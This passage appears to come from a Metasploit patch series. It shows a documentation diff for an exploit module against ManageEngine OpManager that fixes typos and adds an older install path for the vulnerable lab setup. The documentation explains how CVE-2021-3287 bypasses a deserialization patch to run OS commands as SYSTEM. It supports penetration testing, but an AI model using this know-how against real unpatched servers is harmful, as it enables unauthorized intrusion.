vulnerable. }, 'Author' => [ 'Johannes Moritz', # Original Vulnerability Research From 327aefd3f564c3db4beee7a86d16b818f965ad8e Mon Sep 17 00:00:00 2001 From: space-r7 Date: Mon, 20 Sep 2021 12:14:42 -0500 Subject: [PATCH 13/13] add older path, fix typo --- .../exploit/multi/http/opmanager_sumpdu_deserialization.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md b/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md index 11c4b9767982..2f86ecc74012 100644 --- a/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md +++ b/documentation/modules/exploit/multi/http/opmanager_sumpdu_deserialization.md @@ -13,9 +13,9 @@ This vulnerability affects OpManager versions 12.1 - 12.5.232. The vulnerability SmartUpdateManager handler that when deserialized executes an arbitary OS command. #### CVE-2021-3287 -This vulnerability is a patch bypass for CVE-2020-28653 and affects OpManger versions 12.5.233 - 12.5.328. When the +This vulnerability is a patch bypass for CVE-2020-28653 and affects OpManager versions 12.5.233 - 12.5.328. When the original vulnerability was patched, it was done so using a new `ITOMObjectInputStream` deserializer class. This object -has a flaw in it's validation logic. The object works by requiring the caller to specify a list of one or more object +has a flaw in its validation logic. The object works by requiring the caller to specify a list of one or more object classes that can be deserialized. If an instance is used to perform more than one `readObject` call however, only the first is protected because once a serialized object of an allowed type is read from the stream, the `ITOMObjectInputStream` instance remains in a sort of authenticated state where subsequent objects can be read of any @@ -54,7 +54,7 @@ AUTHORITY\SYSTEM. 1. Download an affected version for either Windows or Linux from the [archive][0] 1. Run the installer executable as root 1. Accept the default values for all settings (skip registration) -1. Navigate to `/opt/ManageEngine/OpManagerCentral/bin` +1. Navigate to `/opt/ManageEngine/OpManagerCentral/bin`, older versions use `/opt/ManageEngine/OpManager/bin` 1. Run `run.sh` as root ## Verification Steps